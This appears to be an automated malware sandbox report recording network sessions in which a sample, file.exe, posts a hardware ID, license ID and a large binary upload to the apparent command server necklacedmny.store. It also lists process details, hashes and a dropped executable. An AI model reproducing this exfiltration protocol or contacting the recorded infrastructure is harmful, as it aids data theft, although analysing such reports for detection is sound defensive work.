2024-10-29 16:59:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"20325F07FBCBB3AC0F01176FB87E02FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 16:59:49 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-29 16:59:50 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=man5l87ncni9koid3tuaqf4oh0; expires=Sat, 22 Feb 2025 10:46:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nKDEFusXoQotGlP4h06us1U4Jjm6SGi1AL4dsBJJSznAYRY9cWg%2FzAUpdaIm1nyCNUR9KgLcPhbC17CTT1T8bjYUsaIbxnzLmC4rA5cfcYcvSrrdFX%2BMsuCazYnckPWCoMB5AHw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b7e42fe13bed-MEM alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10094&sent=13&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=283171&cwnd=32&unsent_bytes=0&cid=01f7326be49e1f09&ts=752&x=0"
2024-10-29 16:59:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 16:59:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49911	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:51 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1239 Host: necklacedmny.store
2024-10-29 16:59:51 UTC	1239	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"20325F07FBCBB3AC0F01176FB87E02FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 17:00:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:00:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h26lp6637lm2mjghvgi789sb4e; expires=Sat, 22 Feb 2025 10:46:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sG7lvy%2BnkHnre2dtoAmaQddzECo8JAj5wu2CgOodBFlUAeQRgOuAtlPbXbtu8cujGLpjeJ8BIoD6tRKw1AZffHvF8oneQWS2kPOkHXWgL1UhToMMAAZzu%2BN6vp4GKMXJoNMjrNk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b7ee5960a922-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2221&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2158&delivery_rate=1270732&cwnd=177&unsent_bytes=0&cid=8c8862f9edbf35d3&ts=18146&x=0"
2024-10-29 17:00:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 17:00:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49975	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:00:10 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583379 Host: necklacedmny.store
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"20325F07FBCBB3AC0F01176FB87E02FE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 2e 15 09 31 51 c1 2a 60 34 f1 37 23 1d d6 7b 4b 8c 89 32 49 80 a4 6c e0 ee 3e a3 2a bd 67 3e c4 3e e8 0d 76 3c 9e 0f 06 8e 48 40 c4 8f 6f 7e d2 ff 6e d4 c2 42 d0 44 4c f4 2e a6 4b 8f 87 5f 50 97 8d 49 ba 66 9c 14 c8 f4 06 31 df ed 9d 89 ef ba 54 e4 1c 17 f7 f4 05 1d f1 6e 30 74 17 9c b2 13 5c bf 8e c4 0c 73 f7 e5 d5 a3 dd f0 ce 6d 48 eb f3 c5 ad 4d 8c bf 8e bb 71 63 6c 0e fd 06 1d 91 72 d5 1c 92 6f d6 da 7b 5a aa be 08 16 e0 ae bc c8 34 a9 09 7d a2 46 7e 4c 6e f0 1c f2 a7 2b fe 63 89 64 9d 7a 28 55 b9 51 83 8a 2e 27 4a 48 a8 fb e4 62 da a2 7d 26 34 7c 39 f5 95 e9 bf ba 9c 7b 25 65 b7 f8 0a 48 49 0e d0 df aa b3 a4 d6 a0 23 0a 19 c4 68 1f d7 cc 73 d7 04 05 3c 24 48 6b 77 86 4e 86 09 30 16 73 0c c6 c2 bd fc af ac 07 78 1c f7 ab 63 d1 fe 95 ca ae aa 32 c1 14 Data Ascii: .1Q`47#{K2Il>g>>v<H@o~nBDL.K_PIf1Tn0t\smHMqclro{Z4}F~Ln+cdz(UQ.'JHb}&4\|9{%eHI#hs<$HkwN0sxc2
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 17 af 06 15 3e ac 50 e8 7a f9 f9 ad 52 fd a9 cd 7d e5 e3 6a 73 d6 bf 24 54 78 97 a3 39 f7 7e ed b1 93 2c 22 97 ba da 0a cf 0e f8 cd fb b1 57 be ed 70 19 73 9c ee 7f 7d 33 7d 1a c5 94 b4 f7 fd fe d1 ae ac e7 23 c3 31 c5 e7 e6 56 c9 dc 64 de 09 b0 3e 9a ae f0 df 00 cb b8 2a 52 21 e2 b4 77 5d 43 75 ca cb a3 84 f8 05 af 27 8f 94 c0 0a 39 1c d5 3c 5a 5b 88 43 09 3f bb 53 08 51 42 dc d1 10 3a 74 17 38 9d e9 9f 6e 25 53 ef 15 b0 f5 63 97 81 ab 6d 51 a6 f5 d5 ed 44 2b 06 da e4 40 91 93 ed 85 2d 68 87 e0 d4 78 07 35 24 e0 d2 ea 9c 16 2a 0c 8d c5 40 80 f3 fa 12 f5 9a 18 49 86 d2 25 a4 3e d3 a4 c2 bc 05 7e df 61 24 84 d2 ee f8 66 d3 24 11 68 f1 f4 a7 01 d5 20 2f 2d f3 e7 b3 f1 29 23 bf 13 43 c5 8f 67 4a 0e 0c fa 7c bc 75 66 1e 7b 22 d9 ee 20 29 fb 22 cb 0a db b7 d3 Data Ascii: >PzR}js$Tx9~,"Wps}3}#1Vd>R!w]Cu'9<Z[C?SQB:t8n%ScmQD+@-hx5$@I%>~a$f$h /-)#CgJ\|uf{" )"
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 7b e2 7f cf 1e 95 6c bd 40 f9 b1 7f ec 6c 2f bd d2 da dd 68 72 00 a9 a0 b6 02 f2 3e 4c 5d 99 48 26 1c f6 ad 65 3d 3b 12 5c 28 47 4d 47 b3 df 18 9c 02 31 b2 f9 21 32 ae fd 2a 0c e5 bb 84 13 29 a9 61 f1 ab 42 8c e9 96 a1 49 a7 36 b6 f7 ce ed 0e 8f 3e a1 06 fe b6 74 4a b5 b4 94 e8 a3 61 9f 25 c2 06 21 6e 6b 00 91 28 44 06 8d 8f 2a 8d 12 39 02 87 ab d0 74 fc 85 04 7b c9 92 d3 66 42 a0 08 81 78 e4 e3 32 2b 05 4e e3 ba 3a 3f 24 e4 ce e6 09 4d 6a c0 a8 75 7d b9 14 8e af 4f 5a 91 47 9b ed fb 1f af 21 c0 2e 41 c0 0f 15 4b 03 d9 88 b0 f7 4d a8 8f 68 7c c7 cf 4e 2c 78 fa d6 7d 40 f0 e7 68 7f a5 3e 58 4e 7d 7a db 1e 2e 67 43 da 68 3f ca bf ee f0 fc b3 46 ae de 36 7f d9 47 4c ca 45 d6 61 d2 53 20 4b 0e f3 ba 50 75 9a cc 82 5a 9f fc e0 aa c9 de 07 95 1e 7b c8 5f 83 9e Data Ascii: {l@l/hr>L]H&e=;\(GMG1!2)aBI6>tJa%!nk(D9t{fBx2+N:?$Mju}OZG!.AKMh\|N,x}@h>XN}z.gCh?F6GLEaS KPuZ{_
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 48 68 41 9d 69 9b 98 d6 cc 6d fb d4 74 ac ba bd 20 33 b6 12 15 14 c3 9e bc 46 40 07 3b b6 6d 08 00 87 2d 30 b7 41 07 91 11 27 6a cb da 02 c3 50 c1 02 ab bd 4d 55 92 0b 05 d8 c8 66 82 cc f1 fa 5e 63 47 ba e4 5e 44 ba b6 8d 15 61 1c a0 d8 b5 62 78 dc 54 0c ba 70 e3 d0 15 6e 45 67 62 34 f8 95 42 5e 3b da c9 b1 ca 6f 78 46 39 02 12 7c 80 de a1 56 58 a1 80 34 c0 d6 1c db 1d a9 07 a1 29 7d f7 e5 89 d0 29 98 0f 17 98 1a 85 6d 8f 53 e7 c0 6c ab b9 1b 5c 53 25 a5 28 d8 30 52 d1 21 28 6a ba 1e 6d 77 7f c6 62 3c 11 66 ce 09 c2 ad a2 a7 76 d0 11 3a 7e 53 de ef b3 4c 92 7c d6 d4 73 0a 67 08 53 fd 85 47 b6 a8 e6 67 d2 2f a9 be ae a7 7d 1a 31 7b 41 d5 1b 88 f7 62 18 02 4b 4b 6c 42 a3 b8 58 8c 48 f5 ff 86 ac f2 2e 35 f6 e5 62 6e e0 3f ff 6f eb cb ab 9f fe 90 2b 0e 89 35 Data Ascii: HhAimt 3F@;m-0A'jPMUf^cG^DabxTpnEgb4B^;oxF9\|VX4)})mSl\S%(0R!(jmwb<fv:~SL\|sgSGg/}1{AbKKlBXH.5bn?o+5
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 06 df 50 91 b6 41 d9 94 b5 5a 0a f1 6a d9 fc e8 c1 16 54 c3 f5 14 d0 04 a8 ad 2d ab 05 8f 6d a5 38 7c 06 f4 f2 dd f8 f5 98 7b 6d 30 aa 93 ae 34 9f 34 69 38 ec 28 2f 3f 6c eb d8 22 77 5d c6 01 65 78 6c cd e9 b4 be 32 6a c5 83 13 a3 de 16 62 f0 62 a3 de e3 18 f8 2a 11 f2 9e 0b 01 6e 8c c9 b1 43 b6 04 76 36 5d a5 a1 cf 17 fa 05 67 8b 9f 9b b1 be 12 86 3f 7c b3 a7 22 c0 a4 d0 a3 b1 a0 fd b5 8c ea 2d 9a 2c 81 20 69 92 ea cb 5a 9c 58 ac ef 32 c9 ad 5a fa f3 06 41 f5 18 6f e1 83 c5 1e d7 cf a3 e3 3f 3f d3 c6 48 29 fc 75 55 66 98 8c ed fc 38 69 2d c9 20 4e ef f4 4b 84 57 0a fd eb 85 54 05 3a ac 84 16 86 7b 72 78 d4 90 e0 f2 01 d4 0b 0a 5d 24 9c 94 11 3d c8 eb 34 9c ef b8 e7 ca 2d f6 30 f3 85 d1 e2 fc 78 1a b3 5b 8c b3 de 9e cc 24 fa 14 ac ef 7f 59 f4 85 3b 92 31 Data Ascii: PAZjT-m8\|{m044i8(/?l"w]exl2jbb*nCv6]g?\|"-, iZX2ZAo??H)uUf8i- NKWT:{rx]$=4-0x[$Y;1
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 8c 03 82 9c bf 7a b1 40 e0 35 d2 3c a3 40 14 5c 38 09 f2 aa 88 16 cf 5e 60 2a 7e 7c b9 7d f9 e5 b3 8c df 91 42 a5 cb 2b fe e7 78 99 63 b2 0f 95 96 e3 8c 3b 37 0e af 7c 9d 6d d6 8e ad fb 50 b7 7e 70 b1 f2 b1 56 a4 f5 e3 86 86 4f 5f 53 3e a8 fb dc ba 51 65 84 81 0d 42 31 0f f8 38 d4 37 d6 81 c7 4b 3e c3 73 5c 0c 64 90 f4 79 d7 53 ff bb 0f 49 fc 3e 37 3f c4 28 01 24 1e 68 39 99 72 92 9f be 1b 2f fe 88 73 ec 17 c2 1a 05 93 27 35 85 7b e0 88 28 6c 0f 8e c9 3a 43 e4 06 58 76 51 fd f6 12 9a 41 55 02 b2 cd 38 58 6f e1 34 44 f8 23 fd 00 31 51 c8 ed 3b 55 ff da 1d d7 bc f8 4b 94 91 80 4c 98 1f 2e 27 e5 64 1c 2e 59 19 3e f1 37 3e 7b 19 24 fc 2f 7f da c2 42 b3 4d 44 15 16 b6 99 bb 90 0e f7 d2 a5 64 15 fa 7f fe 5d 90 69 9b 43 46 b5 52 1d 65 c0 e3 dd b0 c5 ad 90 d4 ba Data Ascii: z@5<@\8^`*~\|}B+xc;7\|mP~pVO_S>QeB187K>s\dySI>7?($h9r/s'5{(l:CXvQAU8Xo4D#1Q;UKL.'d.Y>7>{$/BMDd]iCFRe
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 18 11 cf 9c 72 64 8f 48 4d 47 a3 79 0a a2 e5 4f c2 03 6a 85 29 0e cc 0d f2 7d 7a 38 1a f5 fb 94 83 fe d1 41 fb 9b d2 a3 f4 72 f4 cc 3b 84 65 b6 9e 2d 36 bf 6c db 4f a2 a2 5b 49 28 d1 0d c0 12 16 ee 9f 2d 0c c9 66 96 8c a9 4d 71 22 49 e6 d0 0f f2 d8 a2 ca be 67 d8 15 62 ac b9 9b 38 af 4b cb 16 38 0f 8f c4 53 83 b7 37 36 62 21 70 25 72 c8 4d 16 5a df cf 60 72 57 4a 87 b7 16 7c 6f 6f 9e 74 6d b9 c7 39 68 ad 11 17 59 f2 9f 85 8f 6a 9d 52 ff 07 53 54 f4 f0 c7 c9 e1 16 db d2 23 b1 e1 74 66 3a 70 ec 79 8b b2 86 e8 46 1b 58 01 88 5b f2 72 bf d9 80 54 a1 16 a3 e2 0c b9 95 13 0f c3 71 ea e4 3c 86 83 f7 62 df 4e 42 c8 f2 d5 82 c4 23 89 7c ed a8 41 7f a0 db 8e d8 b2 11 13 1f e2 1c d7 98 66 4f e6 24 87 6c be 18 0e 78 4a 6f 17 ec 3e 17 6b 75 12 f1 ec 00 53 02 74 cb c6 Data Ascii: rdHMGyOj)}z8Ar;e-6lO[I(-fMq"Igb8K8S76b!p%rMZ`rWJ\|ootm9hYjRST#tf:pyFX[rTq<bNB#\|AfO$lxJo>kuSt
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: c8 68 4b 62 b9 eb 57 de 7e 73 84 99 d9 6b d0 65 04 de 59 5b 7b 83 83 eb 77 f5 3d f4 11 48 60 df d8 71 9a a9 48 53 50 ad f7 63 7d bb 48 68 30 f3 df fc 16 5d fe b9 e7 49 9e 02 bc d9 f7 6a 55 88 61 ff 45 16 1e d9 78 a8 8d 58 aa ec ec 5a 33 74 90 68 09 e0 ea 74 d4 fe 93 7f 6e d3 62 b1 a5 06 92 d8 14 70 af 58 c9 ef 9c 7a 3d 57 fb 47 5f 24 42 cc 65 7d b4 66 72 c4 74 0f d0 11 ec d2 98 0f c0 93 29 cf 14 a3 94 cb 7b 29 5b 8f e6 2f d5 bb 7d db b4 46 32 ec c9 25 03 ef fc 65 c1 99 72 04 92 92 22 26 a3 f0 ae 59 0c ac 23 78 95 df 9a 6c 6e bd 86 c6 6c ff b3 2e ec ff 18 3f 00 31 48 76 25 96 b9 10 ed 02 7e 31 8d 48 81 86 60 79 fc 53 32 ea 7a 5d ce a6 e4 63 45 09 14 21 aa 07 aa 67 2d ab db e1 cf 32 3b ef 2f 44 a8 ec 4f b6 bc 57 7f 58 fe 6e 1f 4d 73 c7 c3 9f e4 a1 36 03 fe Data Ascii: hKbW~skeY[{w=H`qHSPc}Hh0]IjUaExXZ3thtnbpXz=WG_$Be}frt){)[/}F2%er"&Y#xlnl.?1Hv%~1H`yS2z]cE!g-2;/DOWXnMs6
2024-10-29 17:00:10 UTC	15331	OUT	Data Raw: 1d 9b b2 0c e1 a4 78 42 00 b7 7d 07 09 0f 36 a9 6f 37 eb d3 f7 56 cc 00 c6 0d 08 a4 fc 05 0c 5f 5e b0 3e bd 26 0b 98 34 24 3c 3e 86 d3 a1 b2 5e 7b 6e 3f b0 8c da ae 60 b3 d0 b7 20 c6 33 39 c0 d0 9e 2b 7b 5c b9 d2 79 79 e3 bc b9 ee d3 96 b2 ab 36 56 58 8a 6b 0b 36 0b 01 ef 80 d8 7b 10 08 11 f0 f6 df b9 c2 66 31 77 18 7a 40 46 1b 74 0b b2 bc 11 61 8f 77 82 18 de a6 33 22 c0 ba 5f ae ac ed 3e 3e f7 54 5f 46 a0 2e 2a e9 8a e8 dd da ab 0f 8b a3 50 da f3 be c6 29 42 4a 07 8e 4e c3 f8 34 3c 8c 27 e3 e9 2f d9 37 45 e3 6d 87 61 c6 d7 4c be 79 5f 79 a9 30 ab f1 15 d3 ce d1 95 fb d5 bd fe 39 7f 7a 8a 73 be 14 ad 80 6d 0c 17 5a 16 1f cd 69 95 5b 46 05 4b 83 d1 ad ca 72 8a 60 da 6c a5 d6 c3 15 49 f7 99 77 3f 0a 72 8d 2f 4b 02 9f 17 50 51 01 20 ef 9c 70 45 03 9e ad 7f Data Ascii: xB}6o7V_^>&4$<>^{n?` 39+{\yy6VXk6{f1wz@Ftaw3"_>>T_F.*P)BJN4<'/7EmaLy_y09zsmZi[FKr`lIw?r/KPQ pE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49976	188.114.96.3	443	7664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:00:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 17:00:15 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 30 33 32 35 46 30 37 46 42 43 42 42 33 41 43 30 46 30 31 31 37 36 46 42 38 37 45 30 32 46 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=20325F07FBCBB3AC0F01176FB87E02FE
2024-10-29 17:00:15 UTC	1016	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:00:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tm0tnsk1le1805b441tcu7dpgn; expires=Sat, 22 Feb 2025 10:46:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RXW6eNjYEqzHuOqMDK83Sz9j%2BPtoLksY2fPjAIeF4EEOn3UGUYFfHfbtdudqVuSMe282EGz3IwEVb%2BYaFsn2g8KH81fWrkzNU1aVizu9P3O6za%2BHxrVW1AcluBgMAZnGAUcE%2Fiw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da4b8851ba0c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2121&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1343228&cwnd=252&unsent_bytes=0&cid=ed4a10967e4bdfdb&ts=1030&x=0"
2024-10-29 17:00:15 UTC	130	IN	Data Raw: 37 63 0d 0a 43 72 61 4e 71 59 49 36 63 61 31 49 50 49 4e 6f 74 2f 4d 61 34 62 36 4e 4c 4f 78 45 48 31 7a 38 79 55 75 4b 45 55 57 59 69 56 74 52 7a 61 2f 63 6f 41 42 54 78 54 78 49 38 31 4c 72 33 45 62 4f 6a 37 55 5a 77 6e 59 75 61 64 4c 34 65 72 6b 2f 64 4b 37 56 64 47 58 51 36 2f 57 74 58 68 54 4c 5a 6c 6e 37 44 5a 58 66 4f 49 66 4b 72 78 62 63 61 44 30 35 33 76 4e 37 39 30 77 3d 0d 0a Data Ascii: 7cCraNqYI6ca1IPINot/Ma4b6NLOxEH1z8yUuKEUWYiVtRza/coABTxTxI81Lr3EbOj7UZwnYuadL4erk/dK7VdGXQ6/WtXhTLZln7DZXfOIfKrxbcaD053vN790w=
2024-10-29 17:00:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	12:59:10
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xad0000
File size:	3'001'856 bytes
MD5 hash:	1C74E2BCB64D619589AF56E34E35984F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:44:53
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe"
Imagebase:	0xc90000
File size:	2'824'192 bytes
MD5 hash:	0CAB4E68256893B0F192DC808E0AC5DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0073E7BC Relevance: 2.0, Strings: 1, Instructions: 720COMMON

Download Yara Rule

Strings

s, xrefs: 0073E7BC

Memory Dump Source

Source File: 00000001.00000003.1693036130.0000000000737000.00000004.00000020.00020000.00000000.sdmp, Offset: 00737000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_737000_file.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-4181575468
Opcode ID: 931181d0624337e9650161ca1710c6e2c87005bef6f317c1648ed67c357eb1ce
Instruction ID: 007b44619118165ac6ed08637e808d2a1026f36eeda5fb28b29b5503c862006b
Opcode Fuzzy Hash: 931181d0624337e9650161ca1710c6e2c87005bef6f317c1648ed67c357eb1ce
Instruction Fuzzy Hash: 2FC1962508E3D24FD3038BB44C65695BFB0AE13224B0E8ADBC4C1CF4A3E25D599AD762

Function 0076185B Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

t, xrefs: 00761953

Memory Dump Source

Source File: 00000001.00000003.1692307782.000000000075A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0075A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_75a000_file.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: a0e6fd852de233db64afae40bcf11d92bfd8739b89b6281c0efbd150ed5b3307
Instruction ID: 43aa42d6e6138c1620ed2be71d1befeb9067794dccf6cca26a24a4f9e5e38bac
Opcode Fuzzy Hash: a0e6fd852de233db64afae40bcf11d92bfd8739b89b6281c0efbd150ed5b3307
Instruction Fuzzy Hash: 7261F13150E3D08FC7178B7499296967FB4AF17310B1E41CBD8D2CF1A3D2296A49C7A2

Function 007660B1 Relevance: .7, Instructions: 682COMMON

Download Yara Rule

Memory Dump Source

